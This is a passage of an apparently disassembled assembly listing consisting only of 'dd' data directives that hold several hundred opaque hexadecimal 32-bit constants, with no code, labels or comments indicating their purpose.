		dd 0C907508Ch, 6234C11h, 98B83F87h, 0F1EAD742h,	8AD9D6FEh
		dd 4DFC015h, 0F2FC8486h, 0EBD79B4Eh, 0AB59ED40h, 0CF8EF4F2h
		dd 6346A4ABh, 6FD88630h, 0C9D2C4E5h, 69C6F612h,	0BE499E08h
		dd 5C1DC57h, 8AA2F27Fh,	127517BCh, 573515D6h, 1DCBA6BAh
		dd 956DF01Fh, 0D1A1CEF2h, 45961822h, 0A7EF94CFh, 11A3736Ah
		dd 69807B19h, 0E4215F63h, 0CDDFD475h, 5311E286h, 0E0615380h
		dd 0BC8AAE57h, 0D1E01E38h, 0B0ADF7FFh, 541B3B4Ah, 8DBAB068h
		dd 8CADC9A3h, 337D59CDh, 0DD56E4B6h, 50B41985h,	8DD15ECAh
		dd 8917B9C9h, 0DE4122h,	61E960DFh, 2E587531h, 93F228B7h
		dd 61409CACh, 3C06A3Dh,	182554Fh, 0E0519CE3h, 0A52A499Ch
		dd 0DA3245E2h, 6EE43E60h, 71DAF59Ch, 4C0118A8h,	56555D02h
		dd 0F9E5C7D7h, 246B4713h, 65495631h, 9019A956h,	0E8F8C703h
		dd 0DE2079D1h, 4FC115Bh, 4A4464A6h, 0BA38E172h,	350495E6h
		dd 91161E38h, 3C4A3E6Ah, 4851FF18h, 77EE9B36h, 0E5A926BFh
		dd 3E46B262h, 2C6FA9E7h, 0F3533876h, 0BD64814h,	90774D08h
		dd 1566FB93h, 0E57528D1h, 49B5F2B2h, 454A613Bh,	0EAFDC743h
		dd 4287236Eh, 5D851510h, 0BC8097B5h, 0EB5176BFh, 0F1E6814Fh
		dd 9F5981C1h, 0B89EE248h, 93A45AFDh, 8C8498F0h,	6CC8B4FBh
		dd 6F7C6437h, 0D4D77D1Dh, 0F15A0050h, 0F0AEB0F0h, 89D3350Fh
		dd 0D14D3060h, 650B7D2Ch, 44A1C939h, 29D1495Fh,	4BD0F2D8h
		dd 0B7247E6h, 94EEDAC5h, 73F77EA8h, 0CF4DD268h,	71994044h
		dd 4C83ED2Bh, 4841E8D0h, 5CA8B732h, 0E27F1C44h,	0E6C38C2Ch
		dd 1C28FBAAh, 839D2F42h, 543181DAh, 347C63F4h, 1B25E656h
		dd 0CDBE2D48h, 56EC666Bh, 791A3CCh, 5FD8E562h, 7D7F08DCh
		dd 766F41Ch, 17856C1Dh,	0CB460FB1h, 8329FF5Eh, 70D14988h
		dd 4D6975Dh, 69D0804Bh,	0F84734B7h, 6A978CA7h, 0DB2FFD8Fh
		dd 0DB941186h, 798A115h, 0D6FDA54Bh, 5694EF23h,	0A5E7C25h
		dd 0A26661FAh, 0CCA8CACAh, 0FB9FA11Ah, 85C961F5h, 0C80CA66Ch
		dd 0A348E5B0h, 0C156504h, 2B60CEB9h, 2215262h, 548F0260h
		dd 0BA50CE53h, 0F8A7606Ch, 69AAFB2Ch, 2135FC82h, 9014D7B7h
		dd 0E8BE3459h, 78121611h, 0F2013A62h, 82F0377Dh, 54BF3F6Ah
		dd 7FCC45C6h, 54579CABh, 0EECDDDACh, 0C0152A74h, 506F7E33h
		dd 0DFE31434h, 7B780654h, 7CC77D0Ch, 0AA5ECA9h,	7B74947Ch
		dd 41A55C66h, 3D761A71h, 9DD276AAh, 27E9F071h, 54BCC706h
		dd 0DBBEEB41h, 4C63034Dh, 0E878AE08h, 0FA6FF879h, 4B58690Ah
		dd 0CA886AABh, 0A858A27Dh, 0BB6EE740h, 0EDDB88B7h, 740508A1h
		dd 516FAE59h, 0A8C7D003h, 0A754194Ch, 1E3DF1E7h, 0FB3F5805h
		dd 0E31021B2h, 0C3D06277h, 4F634CC0h, 0B18A0943h, 4AB38129h
		dd 0C41A6385h, 0A896909Dh, 499C6DE0h, 0A04CDE2Dh, 96F8312Bh
		dd 1D2A6E5Dh, 759A75Ah,	1A783A14h, 5DE3FBC9h, 0F561D139h
		dd 0C7D7E58Dh, 0F7A65D6Dh, 439BF505h, 802CB495h, 0B3B1FC7Eh
		dd 454A5FE8h, 8EBD4EE9h, 2718F0Eh, 0B67730CBh, 7613165Dh
		dd 532FE05Eh, 571FFB53h, 4A5E50D9h, 0DEF3DCFDh,	418F05BCh
		dd 257FEB45h, 8E56EBA4h, 57668101h, 6BB7A17Fh, 0A0D56477h
		dd 742240F5h, 28070614h, 92B4799Bh, 0A150CFF5h,	21228490h
		dd 569B800Fh, 0A880B5DDh, 0A27693DDh, 16A30492h, 67FEB5C7h
		dd 4252DB9Ch, 2DBCF7A2h, 0F0C14ABFh, 9255B404h,	6F27FEE4h
		dd 720BFE97h, 0A4E48D18h, 0DB3C9F3Eh, 0F1C806D9h, 0B3932CF5h
		dd 94B1CF22h, 4A813C3Dh, 0F611B6E0h, 10D2BB74h,	0E557CE06h
		dd 61C113F7h, 6A7CF6D2h, 0B5438BD3h, 869D7A60h,	58FCE7D3h
		dd 0F0ECD706h, 6F062926h, 999049BDh, 47C94B92h,	20782B16h
		dd 0C73A145Eh, 0CBE7CBA8h, 5E9F168Ah, 7C70C776h, 87A0471Fh
		dd 452E63D9h, 878B9CFh,	7AA68645h, 94B820Eh, 34A49EB6h
		dd 0C788D7E0h, 603B4C07h, 6CD2995Ah, 5D4E3CB3h,	0D9880E9Fh
		dd 0DD068C52h, 0D65A4A9Dh, 2392EC10h, 1946C0B2h, 0E7C75AFAh
		dd 83A1BF68h, 0B26D9B81h, 40D35DD7h, 0C040667Dh, 0CF263370h
		dd 3D8C131Ah, 0B39DE6EEh, 0D9F68ADBh, 0C60D194Ah, 0CAC62C53h
		dd 80936AC7h, 0EE3CC9Fh, 1DA39722h, 139FF7FCh, 3506C7B5h
		dd 0CD6FA9A9h, 0F1A8B766h, 2494B07h, 36810F98h,	0ECAC2DE7h
		dd 58AC371Ah, 1A2BDE06h, 0C7A11F16h, 0B57E5857h, 35F1D5BBh
		dd 32F361Ah, 0C94E7EFAh, 3095051Ah, 0B08B9C5Eh,	6A8EAC01h
		dd 0DBA49453h, 2B497AA9h, 0C6B27CFFh, 87FF0398h, 4BCE2B3Bh
		dd 0B74670A9h, 0B999A483h, 617B77F4h, 2BFDD73Fh, 4887139Fh
		dd 0E6ECA06h, 0B29BEB86h, 0FC8713ADh, 0B5ED014Ah, 8A23A062h
		dd 0DA253917h, 40144798h, 3E75441Ah, 4D862938h,	0C48FBFCEh
		dd 6C74048Dh, 62B501E3h, 208A11E3h, 0C359692Fh,	6F702A02h
		dd 9B476919h, 0A9733747h, 7E228E69h, 0B0B7CA32h, 75D4A156h
		dd 3AD661CDh, 2C5EBF40h, 836E2DC6h, 2A114438h, 239AFB45h
		dd 0C2721BF9h, 0B8AC0C89h, 59A76C6h, 23B622CBh,	0C050C768h
		dd 4D7439BAh, 0BCEA711h, 94DA0CE0h, 0E124A4CBh,	3070521Eh
		dd 0A6BF355Fh, 0CDD15078h, 0B6C3CDE8h, 0D43EE8D6h, 7760D375h
		dd 0DC89D3FAh, 3349C97Ah, 2B22D21Dh, 0EE2A4E54h, 0B5F32CEAh
		dd 0CD33004h, 8608CB54h, 80386AA6h, 25F4A90Bh, 4595D752h
		dd 74867343h, 590105D1h, 0DACE7221h, 0D76A3C0Ah, 65DF0FA3h
		dd 5DA653A5h, 0B0BA922Ch, 5319B078h, 240BB308h,	0CFC13137h
		dd 0C27A39A7h, 0F03E16D4h, 348F45EAh, 959CAA6Dh, 506AC86Dh
		dd 972F7DCAh, 3D078325h
		dd 48EA82Ah, 0FB154349h, 0FFF8D566h, 0F4972432h, 0E1B84FCFh
		dd 22E531A4h, 555F1E12h, 0D1EED4E8h, 3A34DC07h,	0D0EA9E0Fh
		dd 0D84CF2DBh, 0E41C6A0Fh, 0C1CF137Fh, 83D08088h, 0CAE12BDCh
		dd 0C496B1EBh, 3002B6EAh, 0F57640EDh, 0AE79C7BAh, 41306990h
		dd 0DC266B4h, 0F909C9B1h, 382C0849h, 0B82904BEh, 0A37E5A53h
		dd 76982EEFh, 749BF037h, 0FEF540Eh, 238A2B47h, 99BDB72h
		dd 0E9FCE4A5h, 5D64D9EBh, 52117574h, 8E99764Eh,	1FDB18E9h
		dd 18C75429h, 428B6ECBh, 1D1DF64Bh, 0DF9B418Eh,	1348E241h
		dd 0CFA903D1h, 3792A528h, 91677C3Dh, 6DA6E96Ah,	739FE14Eh
		dd 0B58C203Ah, 304825BCh, 3120507Eh, 89B345F0h,	6C29A760h
		dd 0D00CDEC9h, 0B9BA32F1h, 3A0C08B1h, 0A2167795h, 21BC88B1h
		dd 446B984Ch, 82FB4780h, 316EFA6Dh, 2A2C0E77h, 28CB5E19h
		dd 0B2F5C91Ah, 48ACF700h, 0F8A80D06h, 6822082h,	3B807C2Bh
		dd 0A228845Dh, 6C8ABC47h, 0BDD74427h, 0D8120ACDh, 9297AE3h
		dd 0C9AC75F1h, 2CF7E6ABh, 0D9AFB5D3h, 96CB48D4h, 0DB7EBB1Dh
		dd 86A6ED61h, 538C7693h, 84FECC94h, 0EC46E447h,	55DBE082h
		dd 0B4C6D486h, 6ECFA0h,	0CDBD6FCAh, 0D70BE82Fh,	0A6EB8416h
		dd 0DF36C292h, 18772281h, 888AF9Bh, 0B42B797Ah,	9046A445h
		dd 0D9C797EEh, 27E2A22Fh, 7726CC54h, 3EB775E6h,	6AFFC3Ah
		dd 51C1C4F5h, 0D7B294Ah, 0C09F2DEBh, 2A1EAE88h,	46944662h
		dd 923A119Fh, 7E22C754h, 52F51ACEh, 0E935E5A8h,	0B218135Bh
		dd 540947C7h, 60EC153Bh, 7BB1CD53h, 6D5AC41Eh, 0CC7421FEh
		dd 0C99F754Fh, 4E00941Eh, 0C37D5721h, 30C96A0Ch, 1D8A121Fh
		dd 3B759094h, 0D3546FCDh, 0B6110111h, 0F8F88B60h, 3A0AD793h
		dd 0AA479D28h, 6FC4D54Ch, 0B54AA309h, 0B464847Ch, 0AED4E7CAh
		dd 0AD8D85A8h, 0E4EF1BD1h, 0B54F1528h, 8798A9EEh, 992C60Dh
		dd 4DE74A9h, 85EB0561h,	0A292159h, 0B2963478h, 0EBE4A1B6h
		dd 0B3A72492h, 0D6AF1EF8h, 6984BEF3h, 184390C9h, 0CDE788CAh
		dd 0DBDB1A93h, 0B6FB6C09h, 0C0A34B9Bh, 0FF24E9D4h, 0E403E0B3h
		dd 0DCFAFABEh, 0B3AC2BD1h, 0E6FC0AF5h, 0D6E2B444h, 32B2BB46h
		dd 91D2CC73h, 0EB3E3356h, 0AEFA6728h, 0D5EBAE04h, 4EF6D606h
		dd 0BF78FCC2h, 0B6B88455h, 26E48627h, 2E2AE8C9h, 397ADA72h
		dd 74260282h, 44F93BEBh, 63A1AA4h, 0B543A58Ch, 0C4A9C0C3h
		dd 0CAA1AB12h, 13B88135h, 8BC96D53h, 0DCE16BBFh, 0EF51D79Dh
		dd 6841E7DCh, 7A876BC7h, 9AF14B0h, 0FAFAA8A0h, 57CB0BEBh
		dd 744AA589h, 95B21384h, 2794D18Ah, 6C0A1290h, 892F1103h
		dd 6E769C8Bh, 0B422BBAEh, 21ACA319h, 9C2485C1h,	0F95A9844h
		dd 72DD222Eh, 681C81ECh, 0E6071284h, 4FA38E9h, 9DD26CDFh
		dd 0E72757BBh, 5FFCD82Fh, 5923F430h, 8F6C4410h,	0DF2A4641h
		dd 0D6268F2Ah, 0B32EDCCDh, 0E9EC897Dh, 0A60EECFAh, 0E160F4AAh
		dd 45E3EE6Ch, 9F102831h, 0B5D8CEA1h, 71CE2727h,	6A2C9C82h
		dd 65D43E8Fh, 779210C2h, 6E977A43h, 1E1FE413h, 0D07DD346h
		dd 0FA2B7445h, 5993BF8Dh, 0D3F5BDC4h, 0BF8E66D4h, 1A005E0Dh
		dd 532B8E13h, 0E6699212h, 69B4A858h, 9A8651C7h,	0D691A059h
		dd 44259D85h, 26EF0B4Ch, 81E4D110h, 511D0CDDh, 4398CE3Ch
		dd 0F77E996h, 70CF5B7Ch, 75FAE67Eh, 0E8DE37B3h,	506FBA19h
		dd 843423E4h, 79C7356Fh, 9BE2109h, 0EE985E94h, 8B14498Fh
		dd 652A5F21h, 886F7E16h, 2E9CC661h, 0D0805119h,	0FA0BF802h
		dd 0B39C925Ah, 5DD0677Ah, 65CB62A0h, 0BF35F3Ch,	5022A3FCh
		dd 5806AAB5h, 8C4E2F1Ah, 9E8DA0B4h, 217E9812h, 0ABF68558h
		dd 455B819h, 0A95BBF17h, 1C2FA968h, 5FF9F970h, 0DFCE1CDDh
		dd 0B0115C90h, 0D3B5840Ah, 48164282h, 111CCBDh,	2BEFDB04h
		dd 0FEA8A1FCh, 0B5A86413h, 9A7FB19h, 28FBCCB4h,	69E9D830h
		dd 96E7D780h, 286292B4h, 3D9ACC1Bh, 44D2B0F4h, 0B45E131Eh
		dd 266285ECh, 4C3A3C5Ch, 75F9103Fh, 1C949CE4h, 0CD92B66Bh
		dd 31BC2B2h, 7CE3AB0Ch,	0A03ECE9Bh, 5D4C9389h, 0A7FDCACh
		dd 5065B7Bh, 81951922h,	6A1FFE93h, 17AA0D01h, 0D33BBA6h
		dd 4CCD7AC3h, 0A00A84F9h, 32A49C9Ch, 0A3C961F4h, 0AC8693DBh
		dd 7F37FCEAh, 0BE78BACDh, 909FB669h, 472F5042h,	0ABAFD40Fh
		dd 5F81A902h, 0A2B3C02Ah, 0CE942635h, 0BB92E3A0h, 0BD7CE5E5h
		dd 69473E51h, 8C983F43h, 89236A37h, 0D3DE1176h,	0E70DCC27h
		dd 6D25133Eh, 11999EA6h, 0A13777Bh, 69B6DAD4h, 72BCD087h
		dd 0D5936E2Bh, 77BA8A2Eh, 0FD5D898Dh, 0E827D0A9h, 960AD47Bh
		dd 1C2D3CB2h, 1CC1409Fh, 688F5FACh, 34F9701h, 62301CCh
		dd 0DE6C30A4h, 5F2F9E37h, 0AED2AAC1h, 0B66D9860h, 0E977224h
		dd 283AFA06h, 26FD2103h, 0B1F33FBFh, 7B0922CBh,	0B8E15BBCh
		dd 5EF5BAAFh, 0A9F653C1h, 4CD477E1h, 405BA7EBh,	5C37852Dh
		dd 8C3BDCD6h, 74B33220h, 0DA0179EDh, 588C8B6Bh,	771B5DE0h
		dd 772A8DE7h, 38C76749h, 94F87B48h, 55A29FB1h, 96FEB04Eh
		dd 466EF67h, 0C83C5C93h, 5728018Bh, 11BA493h, 0E5D5103Fh
		dd 0DC0CE579h, 35428283h, 4A7AD173h, 0FEB9D572h, 39C6C47Eh
		dd 1BF889D8h, 10D8800Eh, 292C40E6h, 56DA40FFh, 73F0750Fh
		dd 20F63E26h, 4D4E787Dh, 0BEB76338h, 0D9E51F87h, 7BFB7F62h
		dd 14274054h, 20C1DD18h, 0B5C8E64Dh, 7B320664h,	5BC7ED2Ah
		dd 5C40BB32h, 2DEF7E92h, 514E0E8h, 5C75395Fh, 0D67F9A06h
		dd 0ABD34CDh, 0C4BC99Eh, 0C30F2753h, 0F5AD09CFh, 0C181DDC0h
		dd 2FBB3FBEh, 390F5373h, 73BE2BDCh, 9C61FC45h, 887F1727h
		dd 86207DF3h, 54AD27BFh, 89706D91h, 0E5AB46C4h,	0CA8ADF12h
		dd 840B40D2h, 0A3CA9396h, 1262CB4Dh, 0A76B543Eh, 1EBFCB1Ch
		dd 33DB9E88h, 22DD81ACh, 3F4E36BFh, 4B6B02BCh, 4C045E1Ch
		dd 0C0395029h, 2ACEE021h, 31DB3C72h, 0F440672h,	941E05D0h
		dd 814FD358h, 0D737926Bh, 65AA0D37h, 39B924E2h,	8B4A7F29h
		dd 8F6B153h, 0AEF14CFFh, 0CF4ED799h, 93B5ADAh, 7FB91A24h
		dd 2238AFA1h, 0CF052DEDh, 0B57235A8h, 4B8817C4h, 54591F8Ah
		dd 7BE438BBh, 69A50D87h, 0FE6DE7h, 0FB657D38h, 0C41C8C8h
		dd 97BCC9Bh, 2B088857h,	0ACB53772h, 1BB6FD1Bh, 7FD6BDF8h
		dd 0BD17E377h, 62546328h, 3BEF6252h, 266E2733h,	0B080A157h
		dd 1541296h, 69C4782Eh,	0BF3293CFh, 318ED186h, 0AC094194h
		dd 3B1ED580h, 0AAC84513h, 6166C41Ah, 55E1103Bh,	0BA090DCEh
		dd 855564Ch, 1209894Ch,	5280707Fh, 1CD298C6h, 15E827B0h
		dd 0B9A2C970h, 6418CD24h, 351C8E35h, 42457F40h,	678AA354h
		dd 4A68DEE7h, 1F863DA2h, 48EB10C0h, 2F903245h, 1DA44913h
		dd 18E9827Bh, 0A96A103Eh, 0B43ADBEAh, 3355E76Ch, 0B4BFE8EFh
		dd 39CDCBCDh, 0BA672184h, 7FA4AB68h, 53032024h,	30386A7Ch
		dd 30AE2148h, 674FB0D5h, 0FB604C66h, 0B7EC47F3h, 51096966h
		dd 2C599601h, 705F84DAh, 5B4D77F3h, 0E9663B30h,	1375C073h
		dd 0C67DCA10h, 1E32084Eh, 17B645E3h, 2A34E019h,	399DD8E8h
		dd 0D256B722h, 4928E481h, 4237C817h, 2522B06Bh,	3E09E613h
		dd 0C8378E11h, 0B88D12FAh, 7C7F4827h, 21BF2CB2h, 4DB64300h
		dd 0BF24D06Ch, 3F702D84h, 483FEDD1h, 46C75501h,	0A94E14E0h
		dd 777CCDA0h, 0B63D1E1Fh, 0A9380EAh, 7A2A25D5h,	3FAFF0AAh
		dd 0BCA5E99Eh, 969182D8h, 99253555h, 955D43C8h,	0B7CAA90Eh
		dd 12C764F3h, 0B23A360h
		dd 516955Ch, 617FFE6h, 16FD0D83h, 98F42F3Ah, 0E5D7270Eh
		dd 0B791AC8Bh, 544415DDh, 0F27E45BBh, 0D698C76Bh, 0DFFDF1D7h
		dd 785BB085h, 7097805Fh, 0F5FE3854h, 2DCC81D6h,	0E0BEB74Fh
		dd 5019920Fh, 0AE746D42h, 475A81D1h, 0C93E2254h, 0F914FD50h
		dd 0CEC7BDACh, 9F13B6F8h, 3F0005A3h, 41D69089h,	21946C5Bh
		dd 2327DB4Bh, 0BD4C1048h, 5529DF7Fh, 0D041673Bh, 96D9F947h
		dd 9D6FFAFAh, 0F29BB676h, 76638B05h, 14F75FA7h,	440D87DBh
		dd 47743847h, 0FC4289FCh, 966A00E3h, 0A83B88B7h, 99CE3427h
		dd 0E0C17A84h, 9E7901E3h, 156409FEh, 9C525286h,	830136ADh
		dd 818BC999h, 0F7C248F9h, 8A4C1B1Bh, 866F19B3h,	0A88E9ADAh
		dd 352B1F4Fh, 14120EFAh, 0D93AE607h, 85727EFDh,	0A64B420Dh
		dd 782C5C24h, 0FD7F8B0Bh, 0F0630E91h, 0CA61F8EEh, 6665EA69h
		dd 0ECD5B183h, 8BC0B258h, 648A9EDFh, 0C2A730AAh, 906458BDh
		dd 0DC0E70ECh, 6A172F35h, 0AEEE59B4h, 95B792AEh, 0A5DD5602h
		dd 39FCFC5Dh, 69486A56h, 384405C3h, 9C511FB3h, 85F7B1EBh
		dd 360981A8h, 987B107Ah, 0DCCC9CB1h, 0D3C31D8h,	3E108B48h
		dd 992D1B53h, 27C92900h, 5F141CD7h, 1DE6AF6Eh, 7810BB88h
		dd 76B6A4EAh, 0B02FCFBFh, 52E69191h, 7A5B6FE1h,	0CAED1B26h
		dd 0A45E712Ch, 0E7771FE5h, 24334041h, 0B0614CD1h, 215F13D4h
		dd 5DEB41FAh, 842F2DB4h, 925DECF3h, 0FF751719h,	9368D1E8h
		dd 6B7BA152h, 0A3645059h, 0A983FDF6h, 0AB6D2A1Bh, 4115E4E7h
		dd 0B568A902h, 1AA943F4h, 0EDD3D1D1h, 0CD511D2Dh, 33226822h
		dd 731D2456h, 23A8B624h, 0DE22F2BCh, 1AB003BDh,	0C16C08BDh
		dd 0D91E694Bh, 596856E4h, 41B91E7Fh, 61D2C9FEh,	5AAB98DBh
		dd 0EB04B0EAh, 0F86FF0Ch, 0A8E57CB7h, 19DF2CC5h, 5C2FB44Ch
		dd 0C3F111DEh, 0C3C463E0h, 0FCFDBA0Fh, 5B4AB226h, 0E25A67E3h
		dd 619F8427h, 0B7BD964Fh, 18ACAE4Ch, 708183B0h,	347785h
		dd 8D7FE385h, 31C44553h, 4E389266h, 7722F6EBh, 0EF236F79h
		dd 0B65385A9h, 0E89C7A49h, 2A6699F8h, 0F2D32F77h, 4F41DC04h
		dd 0B82CEF99h, 92563C65h, 2D1391A9h, 0B87028D4h, 0C2A5324Eh
		dd 0A01B9B4Eh, 232B04C2h, 361D49ECh, 0A6D29982h, 32B741B0h
		dd 0F816E6A4h, 0A5CCADA7h, 0F4436BB2h, 0AA1A2234h, 56D16482h
		dd 18CCA8ACh, 365D2B0Bh, 0CD3919BDh, 528EAFE5h,	9667C923h
		dd 0FF72C47Ch, 475FFCEAh, 0C66C8EC3h, 62993780h, 9B8102BFh
		dd 0A7BAAC49h, 248DAA97h, 1B62B8B2h, 854520B1h,	0C69D2B47h
		dd 0AA2CEA34h, 3175CEE1h, 0B2F64194h, 2D926C52h, 0D91402B5h
		dd 53EA0858h, 0B4FE0D96h, 0AAF2B06Ch, 35BE7737h, 0CCFE0EF1h
		dd 0BAA33233h, 6A070D74h, 36E99A00h, 0F2371585h, 87B16A34h
		dd 0B2E21DA9h, 8BAA8614h, 80C4226Ch, 3A4B311Bh,	2EFE6DEDh
		dd 0DCA2B7E9h, 3DD19C8Eh, 696B927h, 0FAF0060Ah,	60EEB587h
		dd 18826C8Bh, 0A648D440h, 5D7D4BCEh, 6A6E62AFh,	0E0EF630h
		dd 77950EB2h, 0F9AB1E53h, 3A4F1470h, 5036F6D7h,	0DAB8A015h
		dd 2FA47C7Bh, 0D10416Eh, 0F483B722h, 0EFFFDBCDh, 0A3F17A7Ch
		dd 923A822h, 5420A3B7h,	0A7653D39h, 1AAC701Dh, 5D6BCC19h
		dd 407F3085h, 0C63F6D0Ch, 5ECA0EF6h, 0AE02B060h, 38FD5513h
		dd 0B3E158E2h, 2F90B845h, 0D262F10Dh, 838B11BAh, 0BFC38E46h
		dd 559B3C5Ch, 27F9846Bh, 0A96CE0D9h, 1EA33EAFh,	5F6C8D48h
		dd 0C00AEF6Eh, 250A9FC4h, 6BE58A50h, 0FEB203D5h, 753D62FCh
		dd 23C761F0h, 46FF869Dh, 93CC995Fh, 0C4C79034h,	0E9B910DAh
		dd 5A546025h, 60DF5B2Eh, 0A59FF20Eh, 76B991DBh,	46D9EC2Ah
		dd 0D0B8C94Ah, 1621B552h, 6979AF4Bh, 0DF59F8EEh, 0ADF392D4h
		dd 6329C3D8h, 0CBE1EE49h, 0CFB9C41Eh, 0B2467292h, 6CC5CBA1h
		dd 0EB223058h, 3BE6B6C2h, 5C7274Fh, 932561D4h, 0E7AC9A49h
		dd 0D56680E8h, 0DCDC3800h, 2073DA83h, 0D599667h, 899856B7h
		dd 0CBFF7F79h, 64FAE336h, 0BF47579Bh, 53EB62BDh, 2EE0F2F3h
		dd 0C31B7536h, 3F4E0300h, 3ADFAC34h, 0E66873CEh, 47E5BE3Ch
		dd 0A96DDCD0h, 58C8DE95h, 0E8B9420h, 0CFDC7239h, 8F7520AFh
		dd 9FAF3BD3h, 0A2003AB6h, 5304220Bh, 0A3EF8B18h, 0D677FD49h
		dd 0D30DF0BCh, 0BFD89EECh, 1EA97B4Fh, 0C464DE59h, 16F682D6h
		dd 18402189h, 5E46A857h, 1A56BA42h, 0FA5BC832h,	0E17896BDh
		dd 0E205B151h, 3072B974h, 6AD596B7h, 5243D2CDh,	22A67B1Dh
		dd 0DDFA22D6h, 0F4660AA7h, 43E61D13h, 0EDF82B0Dh, 0D794F2DDh
		dd 10125Bh, 560C2114h, 0C6EE0F9Eh, 0C0AE385Dh, 887E4BD6h
		dd 3EA1FFD6h, 6633D0B0h, 0F26CC2DBh, 2C514CFDh,	0BF719FA9h
		dd 153B5ACDh, 0F9736F6Dh, 0F5DCC77h, 0D6E85FB1h, 0ED95A8CFh
		dd 0D8ACCB19h, 23F9BB9Ch, 5AA886B8h, 85626961h,	2FAFAA2Bh
		dd 0D7E0636Dh, 8FBBC842h, 95418C21h, 0F9ACFE33h, 92B85502h
		dd 5A7C0BD8h, 4506E540h, 0E8843D0Bh, 3B882147h,	55EFE72Fh
		dd 13B17B8Ah, 24843427h, 2AF0A1AAh, 0D95898F5h,	18810D19h
		dd 0FB6EF1DDh, 0CB1E78A1h, 1E563B62h, 26D51343h, 15EBFC56h
		dd 6D9D269Bh, 3492EDF6h, 0EF095877h, 756702D4h,	107BEE83h
		dd 66DDE36Bh, 432F883Ah, 0E6FAF966h, 453B02DFh,	504D35E2h
		dd 8DB61622h, 0E285C4C6h, 9567E266h, 0A76E3198h, 0B100C02Bh
		dd 0E9ED0C8Dh, 819977Ch, 9DCEAA97h, 0AE7EAB1Bh,	0BD4E1CD6h
		dd 7FB0EC52h, 3A666454h, 0D60A401Ah, 2954C275h,	6A207374h
		dd 0F2AB3D9Bh, 0F465CE82h, 84B039B1h, 8A1341AAh, 0C3447B30h
		dd 3B47FF6Dh, 9DF52FD1h, 0EA88F5C8h, 0EA83205h,	0ECB2ABDAh
		dd 2E5D0D12h, 41C2316Bh, 54661577h, 0B31861D5h,	5585FA2h
		dd 5A839854h, 0DAA7A1AEh, 745F535Bh, 9ABF6AA0h,	4DBCAD53h
		dd 0EA3C6EDCh, 78325DB7h, 827B2EB0h, 0BCCCEDABh, 8C00A69Dh
		dd 0D4F3B202h, 38A40AA8h, 94C062A5h, 0F93AF581h, 568BFF41h
		dd 0CF484CEBh, 9E50243Ch, 778FB7D8h, 0FFBDF9F0h, 0B952A653h
		dd 681CAEB0h, 0AA00C455h, 21E29630h, 7687F948h,	440E020Ah
		dd 70F5CA32h, 0BA9F6462h, 51461533h, 9E0C8CABh,	9BF64151h
		dd 364DF847h, 34D1A889h, 9E43B021h, 6A9F94C3h, 81524B77h
		dd 6AC19A4Fh, 0AAD9134Ah, 0DAA6BF49h, 3D8E179Ah, 74BE2838h
		dd 35183BCEh, 0EF0DA521h, 5DCF4226h, 0BED3E1E5h, 0FCE32993h
		dd 0C68910A0h, 9AB343A0h, 6BE3542Ah, 0A261C669h, 93895FF1h
		dd 12A6DD81h, 171E2E30h, 56C301D4h, 67184EFh, 8B40F479h
		dd 0C28350E7h, 16D66A36h, 0EE87AC36h, 0B434F7DDh, 0B917F01Dh
		dd 5119B50Dh, 99DAC748h, 33F2398Eh, 33AAD1B5h, 10DF54C6h
		dd 6AAE15Ah, 0BDD1BD26h, 65EEE7FBh, 881011CFh, 0B2EEC3C7h
		dd 0EDB0C316h, 0D68D01F7h, 0E8DF5D49h, 6920641Bh, 0DD0F03h
		dd 4758ED77h, 96ED8B8Ah, 0ED4DF3F7h, 8F855E5Dh,	0BE646A5Dh
		dd 19CFE395h, 0D247985Eh, 3E79931Fh, 93D5E15h, 788E23CEh
		dd 8BE4A1A9h, 55A680B6h, 2E51905Fh, 383044D3h, 0C0185FAFh
		dd 8EA35E14h, 5EC587EBh, 0D255F054h, 81DCC2Dh, 6B1BC549h
		dd 0D6D7A0A1h, 2781B4B0h, 0FAC4B392h, 0D8FB1A19h, 0DB7DD358h
		dd 7C5562A7h, 61905CAAh, 0EBA31B79h, 90F4D72h, 0BF51DFFBh
		dd 3EED56D0h, 46F19D2Dh, 0C4D258E4h, 9D955901h,	114DBA2Eh
		dd 765A334Bh, 6083F3B4h, 0F58E0B0Ah, 27163A7Eh,	0A6B820B5h
		dd 9E081093h, 330B0831h, 3876CBF0h, 0DB18C248h,	0DF7D5C6Ah
		dd 0DDDFA944h, 7C60148Eh
		dd 0A509FE56h, 0E60B2B25h, 0E4BC6A45h, 0EC3B5115h, 0ADB99F0Ch
		dd 72BF6F9Fh, 50FA894h,	0BF79CDBBh, 0B3EFED91h,	0BACA696Ah
		dd 0AD31F2BDh, 0FD2F5C37h, 23F09144h, 9F9BDBA9h, 253B080Fh
		dd 0DD141632h, 98CA9357h, 0D8C74C7Ah, 688A80E3h, 99C6416Ch
		dd 4CABC2D9h, 85DFC1DBh, 0E0A7B02h, 1141F088h, 0F9C6A5CBh
		dd 2CC5F43Ch, 562D7230h, 60C7D39h, 3935FABCh, 0BD78DB82h
		dd 6441A96Eh, 0C4D788Dh, 32AC29A6h, 663DD2F0h, 0CEC73248h
		dd 45D3F43Fh, 52833F5Dh, 0EAFED524h, 47834CBDh,	336BFDF7h
		dd 0D87D8821h, 17AF44FDh, 0EBEA1F77h, 135FCCBCh, 0A6F8C481h
		dd 40644E58h, 0F7A0385Fh, 4EF250F1h, 4F9D8DACh,	0BE9C97D4h
		dd 38CACB14h, 0DF110C1Ch, 0BED3F1C4h, 0EA01B4B7h, 11B51AB4h
		dd 0AE1992F9h, 2D1E9D28h, 0AE85370Ah, 5E97C3C1h, 392306BAh
		dd 5893717Eh, 667B13A2h, 0CCE611C7h, 0B27FB676h, 0E7479CCDh
		dd 5079DA2Fh, 4E8F1289h, 9D0BB2E1h, 45FCED44h, 0FABEC4ECh
		dd 0B28F6796h, 0FB57B14Eh, 0C2AEB151h, 9E863E5h, 0F08F1E46h
		dd 393A9039h, 1F04E2C7h, 0E7B8F8B0h, 832DBEEh, 0F127EB85h
		dd 0C3C667DDh, 0A8591CA9h, 0D55E9B54h, 0D8998B9h, 7A7E3B29h
		dd 7DEDE194h, 38DE9603h, 577AD6C1h, 3891CD51h, 0F5A34BDh
		dd 52D823CCh, 3920EB4Ch, 0BA9EFCECh, 0E10DD1Bh,	6BB2501Ah
		dd 0D9E0CCE0h, 19D26487h, 8E7ACD24h, 2F0D678h, 0BC838BFh
		dd 0EB161C7Eh, 744256F9h, 0EBFF54C0h, 0CD231FF5h, 8CB49A70h
		dd 5AE891F9h, 8FE0DFEEh, 2740BD9Eh, 1CC6A6F0h, 7C7E9C6Ah
		dd 8905C157h, 3480023Fh, 5F5AF5E5h, 0B989C9CFh,	67698988h
